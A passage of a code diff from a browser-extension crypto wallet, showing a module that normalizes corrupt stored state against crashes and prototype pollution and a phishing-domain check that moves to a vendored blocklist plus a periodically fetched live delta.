|
||||
"selectedAddress",
|
||||
"selectedToken",
|
||||
"viewData",
|
||||
"viewStack",
|
||||
]);
|
||||
|
||||
function isRecord(value) {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||
}
|
||||
|
||||
// A list of token references, as everything downstream dereferences them:
|
||||
// `t.address.toLowerCase()`, with no guard of its own (src/shared/balances.js,
|
||||
// src/popup/views/helpers.js, and every view that shows a balance line).
|
||||
//
|
||||
// Both the container AND the entries, because they are separate defects. A
|
||||
// container check alone leaves a well-formed list of malformed entries walking
|
||||
// through to a dereference one level below the check, which is the same blank
|
||||
// popup: `[1, 2]` and `[{}]` are lists.
|
||||
//
|
||||
// A malformed entry is DROPPED rather than repaired: a token reference with no
|
||||
// address identifies nothing, so there is no value to repair it to, and the
|
||||
// alternative — refusing the whole record — sends a user whose wallets are
|
||||
// perfectly readable to an export-or-erase screen over a token list. An entry
|
||||
// that is a record with a text address is kept verbatim, extra fields and all.
|
||||
//
|
||||
// Verbatim is load-bearing for the fields BESIDE the address. A tokenBalances
|
||||
// entry carries `decimals: null` and `balance: null` when nothing knows the
|
||||
// token's scale (src/shared/balances.js,
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/349), and those nulls are the
|
||||
// record that the value is unknown. Only `address` decides whether an entry
|
||||
// survives, so an unknown-scale holding is kept — flooring a null here to some
|
||||
// default would put the guess back one layer down from where it was removed.
|
||||
function tokenRefs(value) {
|
||||
if (!Array.isArray(value)) return [];
|
||||
return value.filter(
|
||||
(entry) => isRecord(entry) && typeof entry.address === "string",
|
||||
);
|
||||
}
|
||||
|
||||
// A list of strings, for the fields whose entries are dereferenced as text:
|
||||
// fraudContracts (`a.toLowerCase()` in src/popup/views/send.js and
|
||||
// src/shared/transactions.js) and each address's hostname list in the site maps
|
||||
// below (`h !== host` filters, `list.includes(hostname)` in the background).
|
||||
//
|
||||
// Same rule as tokenRefs(), for the same reason: the container AND the entries,
|
||||
// with a malformed entry DROPPED rather than repaired. A number in a hostname
|
||||
// list names no site and a number in fraudContracts names no contract, so there
|
||||
// is nothing to repair either to, and the empty list is a legitimate value that
|
||||
// survives. The result is a fresh array of primitives, so it shares no
|
||||
// structure with `saved`.
|
||||
function textList(value) {
|
||||
if (!Array.isArray(value)) return [];
|
||||
return value.filter((entry) => typeof entry === "string");
|
||||
}
|
||||
|
||||
// allowedSites / deniedSites: { [address]: [hostname, ...] }.
|
||||
//
|
||||
// The container check these had (truthy and not an array) is not the floor:
|
||||
// `{"0xabc…": "notalist"}` IS a non-array object, and the dereference is one
|
||||
// level below it. saveState() merges these maps per key and then per hostname
|
||||
// WITHIN each key, so a stored value that is not a list reaches `base.map()` in
|
||||
// mergeListByIdentity() (src/shared/state.js) and throws — after the popup has
|
||||
// rendered, which is why every save from then on failed while the UI looked
|
||||
// healthy (https://git.eeqj.de/sneak/AutistMask/issues/362). The Settings
|
||||
// revoke button (`list.filter()`), and the background's
|
||||
// `allowed.includes(hostname)` gate, dereference it the same way; on that last
|
||||
// one a stored string would also answer a SUBSTRING match, so a corrupt map
|
||||
// could widen a site permission rather than merely throw.
|
||||
//
|
||||
// An address key whose value is not a list of hostnames is dropped entirely: it
|
||||
// grants and denies nothing, and dropping it fails closed. A stored own
|
||||
// "__proto__" key — which JSON can carry — is dropped for the same reason: it
|
||||
// can never be a wallet address, so it grants nothing either, and keeping it
|
||||
// only keeps a value that saveState()'s merge would hand to the prototype
|
||||
// setter on the next write. Keys are written with defineProperty so that no key
|
||||
// reaching this function can consult a setter at all, whatever the rule above
|
||||
// it becomes; mergeMapByKey() in src/shared/state.js writes the same way.
|
||||
function siteMap(value) {
|
||||
const out = {};
|
||||
if (!isRecord(value)) return out;
|
||||
for (const address of Object.keys(value)) {
|
||||
if (address === "__proto__") continue;
|
||||
const hostnames = textList(value[address]);
|
||||
if (hostnames.length === 0) continue;
|
||||
defineOwn(out, address, hostnames);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// An endpoint URL: non-empty text, or the fallback.
|
||||
function url(value, fallback) {
|
||||
return typeof value === "string" && value !== "" ? value : fallback;
|
||||
}
|
||||
|
||||
// One remembered endpoint pair out of networkEndpoints, floored on the two
|
||||
// fields applyChainSwitchFields() (src/shared/chainSwitchFields.js) assigns
|
||||
// STRAIGHT ONTO s.rpcUrl / s.blockscoutUrl on the next chain switch: flooring
|
||||
// the live fields alone would leave a non-string sitting one switch away from
|
||||
// them. A field that is not text is deleted rather than replaced, so the
|
||||
// switch falls through its own `|| net.defaultRpcUrl`. Anything else the pair
|
||||
// carries is kept: a profile that has been on a build storing more per-network
|
||||
// fields must not lose them by passing through this one.
|
||||
function endpointPair(value) {
|
||||
const pair = { ...(isRecord(value) ? value : {}) };
|
||||
for (const field of ["rpcUrl", "blockscoutUrl"]) {
|
||||
if (typeof pair[field] !== "string" || pair[field] === "") {
|
||||
delete pair[field];
|
||||
}
|
||||
}
|
||||
return pair;
|
||||
}
|
||||
|
||||
// A list index into wallets / a wallet's addresses: a non-negative integer, or
|
||||
// null for "nothing selected".
|
||||
//
|
||||
// hasValidAddress() (src/popup/viewRouter.js) guards the restore path with
|
||||
// `state.wallets[state.selectedWallet] && …addresses[state.selectedAddress]`,
|
||||
// which is safe for a stale INTEGER — out of range is undefined, and the `&&`
|
||||
// short-circuits — and NOT safe for a string naming an Array.prototype member.
|
||||
// `wallets["map"]` is truthy, so the guard does not short-circuit and
|
||||
// `.addresses[…]` throws out of restoreView(): the dead popup. "length",
|
||||
// "constructor" and "__proto__" answer the same way, and
|
||||
// src/popup/views/confirmTx.js dereferences selectedWallet behind no guard at
|
||||
// all.
|
||||
function listIndex(value) {
|
||||
return Number.isInteger(value) && value >= 0 ? value : null;
|
||||
}
|
||||
|
||||
// Write `key` as an own data property, never through a setter. Plain
|
||||
// assignment of "__proto__" replaces the object's prototype and records no
|
||||
// entry; every map built from stored keys goes through this.
|
||||
function defineOwn(obj, key, value) {
|
||||
Object.defineProperty(obj, key, {
|
||||
value: value,
|
||||
writable: true,
|
||||
enumerable: true,
|
||||
configurable: true,
|
||||
});
|
||||
}
|
||||
|
||||
// Keep only the leading run of stored views the popup is willing to render.
|
||||
//
|
||||
// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
|
||||
// behind it used to be restored verbatim, so Back could walk onto a screen
|
||||
// whose content is deliberately never re-rendered — and "show-phrase" has no
|
||||
// Back control to leave by. Truncating at the first such entry instead of
|
||||
// splicing it out keeps the result a prefix of the stored stack, so every
|
||||
// surviving entry's Back target is exactly the one it had; splicing would
|
||||
// silently re-point the entry above the hole at a different screen.
|
||||
//
|
||||
// Filtering happens here on load rather than in saveState(): the live
|
||||
// in-session stack is legitimate (the screen really is rendered while the
|
||||
// popup is open), and only a load-side filter also repairs the stacks
|
||||
// already in storage, including ones written before a view left the set.
|
||||
function restorableStack(stored, currentView) {
|
||||
// A stored stack that is missing or not an array keeps nothing, but it
|
||||
// still goes through the never-empty rule below rather than returning
|
||||
// early: otherwise a corrupt stack would depend on exactly the goBack()
|
||||
// fallback that the explicit ["main"] exists in order not to depend on.
|
||||
const source = Array.isArray(stored) ? stored : [];
|
||||
const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
|
||||
const kept = cut === -1 ? source.slice() : source.slice(0, cut);
|
||||
// A view restored below the root still needs somewhere for Back to go.
|
||||
if (
|
||||
kept.length === 0 &&
|
||||
currentView !== "main" &&
|
||||
RESTORABLE_VIEWS.has(currentView)
|
||||
) {
|
||||
return ["main"];
|
||||
}
|
||||
return kept;
|
||||
}
|
||||
|
||||
// Turn a raw stored (or missing) record into the full, defaulted shape
|
||||
// loadState() used to assign directly onto `state`. A pure function so that
|
||||
// saveState() can apply it too: the fields THIS page did not change still have
|
||||
// to come from storage in their loaded-and-normalized form, not as the raw
|
||||
// bytes another page (or an old release) left there — otherwise a legacy shape
|
||||
// a load has always self-healed in memory (a missing networkEndpoints map, an
|
||||
// out-of-range flag) is dropped right back into storage unfixed every time the
|
||||
// page that DID normalize it saves something unrelated, because that field's
|
||||
// value never "changed" for that page to notice.
|
||||
//
|
||||
// The result never shares structure with `saved`, so a caller may mutate it
|
||||
// freely: it is the detached record every per-call read in the background is
|
||||
// built on.
|
||||
function normalizePersisted(saved) {
|
||||
saved = saved || {};
|
||||
const out = {};
|
||||
// Every write goes out at the current version. That IS the migration for
|
||||
// the unversioned records every install in the field holds: version 1 is
|
||||
// the shape that shipped unversioned, so a record that validated is
|
||||
// carried forward simply by being stamped. A record this build does NOT
|
||||
// understand never reaches here — assertStateUsable() refuses it on the
|
||||
// read path first (src/shared/stateSchema.js).
|
||||
out.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
out.wallets = structuredClone(saved.wallets || []);
|
||||
// Derived, never trusted verbatim off storage — see loadState().
|
||||
out.hasWallet = out.wallets.length > 0;
|
||||
// Each address's token holdings, floored to a list of token records on the
|
||||
// detached copy above. Every reader iterates it behind a `|| []` that only
|
||||
// covers an ABSENT value, and then dereferences `t.address.toLowerCase()`
|
||||
// and `t.balance` — so a stored string iterates as characters, a number
|
||||
// throws on the iterator, and a null entry throws on the field.
|
||||
//
|
||||
// This field specifically, because refreshBalances() writes it WHOLESALE
|
||||
// rather than merging into it: a write that only partly lands is the live
|
||||
// cause https://git.eeqj.de/sneak/AutistMask/issues/311 names, and this is
|
||||
// where it lands. The wallet list itself is the gate's (stateSchema.js);
|
||||
// what is below an address record is not, and gets floored here.
|
||||
if (Array.isArray(out.wallets)) {
|
||||
for (const wallet of out.wallets) {
|
||||
if (!isRecord(wallet) || !Array.isArray(wallet.addresses)) continue;
|
||||
for (const addr of wallet.addresses) {
|
||||
if (!isRecord(addr)) continue;
|
||||
addr.tokenBalances = tokenRefs(addr.tokenBalances);
|
||||
}
|
||||
}
|
||||
}
|
||||
// An actual list of token records is required, not merely a truthy value
|
||||
// and not merely a list: everything downstream iterates this and
|
||||
// dereferences `token.address`, so a stored string or object walks through
|
||||
// a `|| []`, and a list of numbers walks through an Array.isArray(), and
|
||||
// both throw on the first read — the blank popup from the issue, for a
|
||||
// profile whose wallets are perfectly fine. An empty list is a legitimate
|
||||
// value and survives.
|
||||
out.trackedTokens = structuredClone(tokenRefs(saved.trackedTokens));
|
||||
// The loud refusal for an unknown id is assertStateUsable(); this is the
|
||||
// floor under it. networkId is an object KEY into networkEndpoints below,
|
||||
// so a value that is not a network in networks.js must never get that far
|
||||
// — "__proto__" would set the map's prototype instead of an own key, and
|
||||
// the user's endpoint would silently not be recorded.
|
||||
out.networkId = isKnownNetworkId(saved.networkId)
|
||||
? saved.networkId
|
||||
: DEFAULT_STATE.networkId;
|
||||
// Non-empty text or the default, never anything else. getProvider()
|
||||
// (src/shared/balances.js) hands rpcUrl straight to `new
|
||||
// JsonRpcProvider()`, which throws SYNCHRONOUSLY for a value that is not a
|
||||
// string — out of src/popup/views/txStatus.js and src/popup/views/
|
||||
// addWallet.js, neither of which is inside a try, and the first of which a
|
||||
// stored `currentView: "wait-tx"` reaches through restoreView(). It is a
|
||||
// scalar, so the type check is the whole fix.
|
||||
out.rpcUrl = url(saved.rpcUrl, DEFAULT_STATE.rpcUrl);
|
||||
out.blockscoutUrl = url(saved.blockscoutUrl, DEFAULT_STATE.blockscoutUrl);
|
||||
// An actual object is required, not merely a truthy non-array: the code
|
||||
// below and applyChainSwitchFields() index and ASSIGN INTO this value, and
|
||||
// assigning a property to a string or a number is a silent no-op in
|
||||
// sloppy mode. Copied rather than referenced, nested pairs included, so
|
||||
// normalizing never mutates the object a caller handed in.
|
||||
const rawEndpoints =
|
||||
typeof saved.networkEndpoints === "object" &&
|
||||
saved.networkEndpoints !== null &&
|
||||
!Array.isArray(saved.networkEndpoints)
|
||||
? saved.networkEndpoints
|
||||
: {};
|
||||
out.networkEndpoints = {};
|
||||
for (const netId of Object.keys(rawEndpoints)) {
|
||||
// Keys other than the known network ids are kept rather than dropped,
|
||||
// so a profile that has been on a build with more networks does not
|
||||
// lose their endpoints by passing through this one. That is why an own
|
||||
// "__proto__" key survives here where siteMap() drops it, and why the
|
||||
// write has to go through defineOwn().
|
||||
defineOwn(
|
||||
out.networkEndpoints,
|
||||
netId,
|
||||
endpointPair(rawEndpoints[netId]),
|
||||
);
|
||||
}
|
||||
// A profile written before this map existed carries exactly one pair of
|
||||
// endpoints, belonging to whatever network it was last on. Adopt it as
|
||||
// that network's remembered pair, so a custom endpoint set on the old
|
||||
// build is not lost by the first switch away and back.
|
||||
if (!out.networkEndpoints[out.networkId]) {
|
||||
out.networkEndpoints[out.networkId] = {
|
||||
rpcUrl: out.rpcUrl,
|
||||
blockscoutUrl: out.blockscoutUrl,
|
||||
};
|
||||
}
|
||||
out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
|
||||
// A non-empty address, or null, never anything else: this is passed to
|
||||
// address.slice() and compared against stored addresses, so a stored
|
||||
// number or object walks through a `|| null` and throws on the first
|
||||
// render. The empty string is text but it is not an address, and it must
|
||||
// become null rather than survive: init() auto-selects the first address
|
||||
// only on a STRICT null, so a stored "" would leave the popup with no
|
||||
// address ever selected. Nothing in src/ writes one, and this keeps the
|
||||
// behaviour the `|| null` this check replaced already had.
|
||||
out.activeAddress =
|
||||
typeof saved.activeAddress === "string" && saved.activeAddress !== ""
|
||||
? saved.activeAddress
|
||||
: null;
|
||||
out.allowedSites = siteMap(saved.allowedSites);
|
||||
out.deniedSites = siteMap(saved.deniedSites);
|
||||
out.rememberSiteChoice =
|
||||
saved.rememberSiteChoice !== undefined
|
||||
? saved.rememberSiteChoice
|
||||
: true;
|
||||
out.showZeroBalanceTokens =
|
||||
saved.showZeroBalanceTokens !== undefined
|
||||
? saved.showZeroBalanceTokens
|
||||
: true;
|
||||
// A profile written before this setting existed has no key for it. It
|
||||
// is a safety filter, so absent must load as on, not as undefined.
|
||||
out.hideSpoofedSymbols =
|
||||
saved.hideSpoofedSymbols !== undefined
|
||||
? saved.hideSpoofedSymbols
|
||||
: true;
|
||||
out.hideLowHolderTokens =
|
||||
saved.hideLowHolderTokens !== undefined
|
||||
? saved.hideLowHolderTokens
|
||||
: true;
|
||||
out.hideFraudContracts =
|
||||
saved.hideFraudContracts !== undefined
|
||||
? saved.hideFraudContracts
|
||||
: true;
|
||||
out.hideDustTransactions =
|
||||
saved.hideDustTransactions !== undefined
|
||||
? saved.hideDustTransactions
|
||||
: true;
|
||||
out.dustThresholdGwei =
|
||||
saved.dustThresholdGwei !== undefined
|
||||
? saved.dustThresholdGwei
|
||||
: 100000;
|
||||
out.utcTimestamps =
|
||||
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
|
||||
// A list of contract addresses, floored the same way: send.js builds its
|
||||
// fraud set as `(state.fraudContracts || []).map((a) => a.toLowerCase())`
|
||||
// and filterTransactions() maps the same list through normalizeAddress(),
|
||||
// so a stored string walks through the `|| []` and a stored number walks
|
||||
// through an Array.isArray().
|
||||
out.fraudContracts = textList(saved.fraudContracts);
|
||||
out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
|
||||
out.theme = saved.theme || "system";
|
||||
out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
|
||||
out.currentView = saved.currentView || null;
|
||||
out.selectedWallet = listIndex(saved.selectedWallet);
|
||||
out.selectedAddress = listIndex(saved.selectedAddress);
|
||||
// "ETH", or a contract address, or null — never anything else. The popup
|
||||
// restores onto "address-token" behind a truthiness check on this field and
|
||||
// then dereferences it as text (`tokenId.toLowerCase()` in
|
||||
// src/popup/views/addressToken.js, `state.selectedToken.toLowerCase()` in
|
||||
// src/popup/views/receive.js), so a stored number is truthy, passes the
|
||||
// restore gate, and throws on the screen it restores onto. Found by the
|
||||
// sweep for this same defect class in
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/362; floored to null, which
|
||||
// is what the restore gate already treats as "nothing selected". The empty
|
||||
// string was already falsy here and stays null.
|
||||
out.selectedToken =
|
||||
typeof saved.selectedToken === "string" && saved.selectedToken !== ""
|
||||
? saved.selectedToken
|
||||
: null;
|
||||
out.viewData = structuredClone(saved.viewData || {});
|
||||
out.viewStack = restorableStack(saved.viewStack, out.currentView);
|
||||
return out;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
DEFAULT_STATE,
|
||||
PERSISTED_FIELDS,
|
||||
normalizePersisted,
|
||||
restorableStack,
|
||||
};
|
||||
File diff suppressed because one or more lines are too long
@@ -1,109 +1,165 @@
|
||||
// Domain-based phishing detection against a blocklist vendored at build time.
|
||||
// Domain-based phishing detection using a vendored blocklist with delta updates.
|
||||
//
|
||||
// The list is produced by script/vendor-blocklist from a hash-pinned upstream
|
||||
// commit, committed as phishingBlocklist.json, and bundled. There is no runtime
|
||||
// fetch: the extension asks nobody anything to answer this question, so no third
|
||||
// party learns which sites a user connects to, and no third party decides what
|
||||
// this wallet warns about. The cost is staleness — the shipped list is exactly
|
||||
// as fresh as the last vendoring run that was released — and the refresh path is
|
||||
// re-running that script and shipping the diff.
|
||||
// A community-maintained phishing domain blocklist is vendored in
|
||||
// phishingBlocklist.json and bundled at build time. At runtime, we fetch
|
||||
// the live list periodically and keep only the delta (new entries not in
|
||||
// the vendored list) in memory. This keeps runtime memory usage small.
|
||||
//
|
||||
// The artifact holds digests, not domains: sha256 truncated to 64 bits, one
|
||||
// entry per 16 hex characters, concatenated in sorted order into a single
|
||||
// string (see domainHash.js). Three things follow from that shape, and all
|
||||
// three are the reason for it:
|
||||
// The domain-checker checks the in-memory delta first (fresh/recent scam
|
||||
// sites), then falls back to the vendored list.
|
||||
//
|
||||
// - the extension ships no plaintext list of anyone's domain names, which is
|
||||
// what makes a blocklist assembled elsewhere shippable here at all.
|
||||
// - a lookup is a binary search over that string. Nothing is built at module
|
||||
// load, which matters because the MV3 service worker is torn down when idle
|
||||
// and re-evaluates this file on every wake.
|
||||
// - the file is 1.7 MB rather than 8.7 MB.
|
||||
//
|
||||
// Nothing here is async: callers answer an approval prompt with the result.
|
||||
// If the delta and its fetch timestamp fit in 256 KiB they are persisted to
|
||||
// extension storage, so they survive termination of the MV3 service worker.
|
||||
// Extension storage, not localStorage: localStorage does not exist in a
|
||||
// service worker, so the previous persistence never ran on Chrome at all.
|
||||
// The stored timestamps are what keep a restarted worker from re-fetching on
|
||||
// every wake while still noticing an overdue update. Those guards apply to the
|
||||
// startup path only; the 24-hour alarm tick bypasses them, or it would veto
|
||||
// its own refresh — see updatePhishingList().
|
||||
|
||||
const vendored = require("./phishingBlocklist.json");
|
||||
const { HASH_ALGORITHM, HASH_HEX_CHARS, hashDomain } = require("./domainHash");
|
||||
const vendoredConfig = require("./phishingBlocklist.json");
|
||||
|
||||
// The artifact is generated, so a shape it does not have is a build fault, not
|
||||
// a runtime condition. It is checked anyway, and loudly, because every way of
|
||||
// getting it wrong — a stale format, a truncated file, a different digest —
|
||||
// produces a blocklist that matches nothing at all while looking perfectly
|
||||
// healthy. A phishing check that silently answers "no" to everything is the one
|
||||
// failure this module must not have.
|
||||
function checkArtifact(a) {
|
||||
const bad = (why) =>
|
||||
new Error(
|
||||
"phishingBlocklist.json " +
|
||||
why +
|
||||
". It is generated by script/vendor-blocklist; re-run that " +
|
||||
"rather than editing it.",
|
||||
);
|
||||
const BLOCKLIST_URL =
|
||||
"https://raw.githubusercontent.com/MetaMask/eth-phishing-detect/main/src/config.json";
|
||||
|
||||
if (!a || typeof a !== "object") throw bad("is not an object");
|
||||
if (a.algorithm !== HASH_ALGORITHM) {
|
||||
throw bad(
|
||||
"declares algorithm " +
|
||||
JSON.stringify(a.algorithm) +
|
||||
", but this build hashes with " +
|
||||
HASH_ALGORITHM,
|
||||
);
|
||||
const CACHE_TTL_MS = 24 * 60 * 60 * 1000; // 24 hours
|
||||
|
||||
// Floor on how often an unscheduled path may hit the network. The worker is
|
||||
// revived every ~30 seconds while the browser is busy, and every revival runs
|
||||
// the startup path; without a persisted record of the last attempt, any state
|
||||
// that leaves lastFetchTime unset — a fetch that failed, or a delta too large
|
||||
// to store — would download the full list on every single wake.
|
||||
const MIN_FETCH_ATTEMPT_INTERVAL_MS = 60 * 60 * 1000; // 1 hour
|
||||
|
||||
const DELTA_STORAGE_KEY = "phishing-delta";
|
||||
const MAX_DELTA_BYTES = 256 * 1024; // 256 KiB
|
||||
|
||||
// Vendored set — built once from the bundled JSON.
|
||||
const vendoredBlacklist = new Set(
|
||||
(vendoredConfig.blacklist || []).map((d) => d.toLowerCase()),
|
||||
);
|
||||
|
||||
// Delta set — only entries from live list that are NOT in vendored.
|
||||
let deltaBlacklist = new Set();
|
||||
let lastFetchTime = 0;
|
||||
let lastAttemptTime = 0;
|
||||
let fetchPromise = null;
|
||||
let loadPromise = null;
|
||||
|
||||
// Resolved on use rather than captured at module load, so a test can install
|
||||
// a stub after requiring the module and so the popup — which has no reason to
|
||||
// touch the delta — does not fail to load where the API is absent.
|
||||
function storageApi() {
|
||||
if (typeof browser !== "undefined" && browser.storage) {
|
||||
return browser.storage.local;
|
||||
}
|
||||
if (a.hashHexChars !== HASH_HEX_CHARS) {
|
||||
throw bad(
|
||||
"declares " +
|
||||
JSON.stringify(a.hashHexChars) +
|
||||
" hex characters per entry, but this build produces " +
|
||||
HASH_HEX_CHARS,
|
||||
);
|
||||
if (typeof chrome !== "undefined" && chrome.storage) {
|
||||
return chrome.storage.local;
|
||||
}
|
||||
if (typeof a.hashes !== "string") throw bad("has no hashes string");
|
||||
if (!Number.isInteger(a.count) || a.count < 1) {
|
||||
throw bad("declares no usable entry count");
|
||||
}
|
||||
if (a.hashes.length !== a.count * HASH_HEX_CHARS) {
|
||||
throw bad(
|
||||
"holds " +
|
||||
a.hashes.length +
|
||||
" hex characters, which is not the " +
|
||||
a.count * HASH_HEX_CHARS +
|
||||
" its count of " +
|
||||
a.count +
|
||||
" entries requires",
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitise a timestamp read back from storage.
|
||||
*
|
||||
* A value in the future is permanent poison: every guard here measures elapsed
|
||||
* time as `Date.now() - stamp` and tests only the lower bound, so a stamp a
|
||||
* year ahead suppresses updates for a year with no path that ever clears it.
|
||||
* Clock skew and a restored profile backup both produce one. Since these
|
||||
* timestamps only ever gate work, discarding an impossible one is safe: it
|
||||
* costs at most a single extra fetch and restores a sane value immediately.
|
||||
*
|
||||
* @param {unknown} value
|
||||
* @returns {number} the timestamp, or 0 if it is unusable.
|
||||
*/
|
||||
function sanitizeTimestamp(value) {
|
||||
if (typeof value !== "number" || !Number.isFinite(value)) return 0;
|
||||
if (value <= 0 || value > Date.now()) return 0;
|
||||
return value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load the persisted delta and its timestamps from extension storage.
|
||||
* Runs once per worker lifetime; every entry point funnels through
|
||||
* ensureDeltaLoaded() so a wake from termination restores state exactly once.
|
||||
*
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
async function loadDeltaFromStorage() {
|
||||
const storage = storageApi();
|
||||
if (!storage) return;
|
||||
try {
|
||||
const result = await storage.get(DELTA_STORAGE_KEY);
|
||||
const data = result && result[DELTA_STORAGE_KEY];
|
||||
if (!data) return;
|
||||
if (Array.isArray(data.blacklist)) {
|
||||
deltaBlacklist = new Set(
|
||||
data.blacklist.map((d) => d.toLowerCase()),
|
||||
);
|
||||
}
|
||||
lastFetchTime = sanitizeTimestamp(data.lastFetchTime);
|
||||
lastAttemptTime = sanitizeTimestamp(data.lastAttemptTime);
|
||||
} catch {
|
||||
// Storage unavailable or corrupt — start empty and re-fetch.
|
||||
}
|
||||
}
|
||||
|
||||
checkArtifact(vendored);
|
||||
|
||||
const HASHES = vendored.hashes;
|
||||
const COUNT = vendored.count;
|
||||
function ensureDeltaLoaded() {
|
||||
if (!loadPromise) loadPromise = loadDeltaFromStorage();
|
||||
return loadPromise;
|
||||
}
|
||||
|
||||
/**
|
||||
* Is this digest one of the vendored entries?
|
||||
* Persist the delta and its timestamps if they fit within MAX_DELTA_BYTES.
|
||||
*
|
||||
* Binary search over fixed-width records. The digests are lowercase hex of one
|
||||
* width, so lexicographic order is numeric order and the artifact is written
|
||||
* sorted; tests assert that ordering against the committed file, because an
|
||||
* unsorted artifact would fail lookups silently rather than loudly.
|
||||
* The 256 KiB cap covers the delta and its freshness claim: when the delta is
|
||||
* too large to keep, lastFetchTime goes with it, so the next start re-fetches
|
||||
* rather than trusting a freshness claim for a delta it no longer holds.
|
||||
* lastAttemptTime is written either way — it records that the network was
|
||||
* contacted, which stays true whatever became of the response, and it is what
|
||||
* stops a permanently oversized list from downloading on every worker wake.
|
||||
*
|
||||
* @param {string} hash
|
||||
* @returns {boolean}
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
function hashListed(hash) {
|
||||
let lo = 0;
|
||||
let hi = COUNT - 1;
|
||||
while (lo <= hi) {
|
||||
const mid = (lo + hi) >> 1;
|
||||
const at = HASHES.slice(
|
||||
mid * HASH_HEX_CHARS,
|
||||
(mid + 1) * HASH_HEX_CHARS,
|
||||
);
|
||||
if (at === hash) return true;
|
||||
if (at < hash) lo = mid + 1;
|
||||
else hi = mid - 1;
|
||||
async function saveDeltaToStorage() {
|
||||
const storage = storageApi();
|
||||
if (!storage) return;
|
||||
try {
|
||||
const data = {
|
||||
blacklist: Array.from(deltaBlacklist),
|
||||
lastFetchTime,
|
||||
lastAttemptTime,
|
||||
};
|
||||
const json = JSON.stringify(data);
|
||||
if (json.length < MAX_DELTA_BYTES) {
|
||||
await storage.set({ [DELTA_STORAGE_KEY]: data });
|
||||
} else if (lastAttemptTime > 0) {
|
||||
await storage.set({ [DELTA_STORAGE_KEY]: { lastAttemptTime } });
|
||||
} else {
|
||||
await storage.remove(DELTA_STORAGE_KEY);
|
||||
}
|
||||
} catch {
|
||||
// Storage unavailable — skip silently
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a pre-parsed config and compute the delta against the vendored list.
|
||||
* Used for both live fetches and testing.
|
||||
*
|
||||
* @param {{ blacklist?: string[] }} config
|
||||
* @returns {Promise<void>} resolves once the delta has been persisted.
|
||||
*/
|
||||
function loadConfig(config) {
|
||||
const liveBlacklist = (config.blacklist || []).map((d) => d.toLowerCase());
|
||||
|
||||
// Delta = entries in the live list that are NOT in the vendored list
|
||||
deltaBlacklist = new Set(
|
||||
liveBlacklist.filter((d) => !vendoredBlacklist.has(d)),
|
||||
);
|
||||
|
||||
lastFetchTime = Date.now();
|
||||
return saveDeltaToStorage();
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -126,33 +182,161 @@ function hostnameVariants(hostname) {
|
||||
|
||||
/**
|
||||
* Check if a hostname is on the phishing blocklist.
|
||||
* Checks delta first (fresh/recent scam sites), then vendored list.
|
||||
*
|
||||
* Synchronous by design — callers answer an approval prompt with it. On a
|
||||
* worker that has just woken, the persisted delta may still be loading; the
|
||||
* vendored list, which is bundled and always present, carries the check until
|
||||
* it lands.
|
||||
*
|
||||
* @param {string} hostname - The hostname to check.
|
||||
* @returns {boolean}
|
||||
*/
|
||||
function isPhishingDomain(hostname) {
|
||||
if (!hostname) return false;
|
||||
for (const variant of hostnameVariants(hostname)) {
|
||||
if (hashListed(hashDomain(variant))) return true;
|
||||
const variants = hostnameVariants(hostname);
|
||||
|
||||
// Check delta blacklist first (fresh/recent scam sites), then vendored
|
||||
for (const v of variants) {
|
||||
if (deltaBlacklist.has(v) || vendoredBlacklist.has(v)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the blocklist size for diagnostics.
|
||||
* Fetch the latest blocklist and compute delta against vendored data.
|
||||
* De-duplicates concurrent fetches. Results are cached for CACHE_TTL_MS,
|
||||
* counted from the persisted timestamp so the cache outlives the worker.
|
||||
*
|
||||
* `force` is what makes the 24-hour alarm actually refresh every 24 hours.
|
||||
* The alarm fires one period after the previous alarm, but lastFetchTime is
|
||||
* stamped when that fetch *completed*, so an unforced tick lands one fetch
|
||||
* latency inside its own TTL, skips, and turns the real cadence into 48 hours.
|
||||
* Shortening the TTL instead would not fix it: the worker wakes every ~30
|
||||
* seconds and the startup path re-checks the TTL each time, so a shortened TTL
|
||||
* simply becomes the real cadence. The TTL is there to stop redundant fetches
|
||||
* on wake, and the scheduled tick is not redundant, so it bypasses it.
|
||||
*
|
||||
* @param {{force?: boolean}} [opts] force: fetch unless one is already in
|
||||
* flight, ignoring both the freshness and the retry guard. For the scheduled
|
||||
* alarm tick only.
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
async function updatePhishingList({ force = false } = {}) {
|
||||
// A worker that has just been revived knows nothing until the persisted
|
||||
// record is back in memory; without this the freshness check below would
|
||||
// always see 0 and re-fetch on every wake.
|
||||
await ensureDeltaLoaded();
|
||||
|
||||
if (!force) {
|
||||
const now = Date.now();
|
||||
// Skip if recently fetched.
|
||||
if (lastFetchTime > 0 && now - lastFetchTime < CACHE_TTL_MS) return;
|
||||
// Skip if the network was contacted recently and the result was not
|
||||
// usable — a failed fetch or an oversized delta leaves lastFetchTime
|
||||
// unset, and without this every wake would retry.
|
||||
if (
|
||||
lastAttemptTime > 0 &&
|
||||
now - lastAttemptTime < MIN_FETCH_ATTEMPT_INTERVAL_MS
|
||||
) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// De-duplicate concurrent calls
|
||||
if (fetchPromise) return fetchPromise;
|
||||
|
||||
fetchPromise = (async () => {
|
||||
lastAttemptTime = Date.now();
|
||||
try {
|
||||
const resp = await fetch(BLOCKLIST_URL);
|
||||
if (!resp.ok) throw new Error("HTTP " + resp.status);
|
||||
const config = await resp.json();
|
||||
await loadConfig(config);
|
||||
} catch {
|
||||
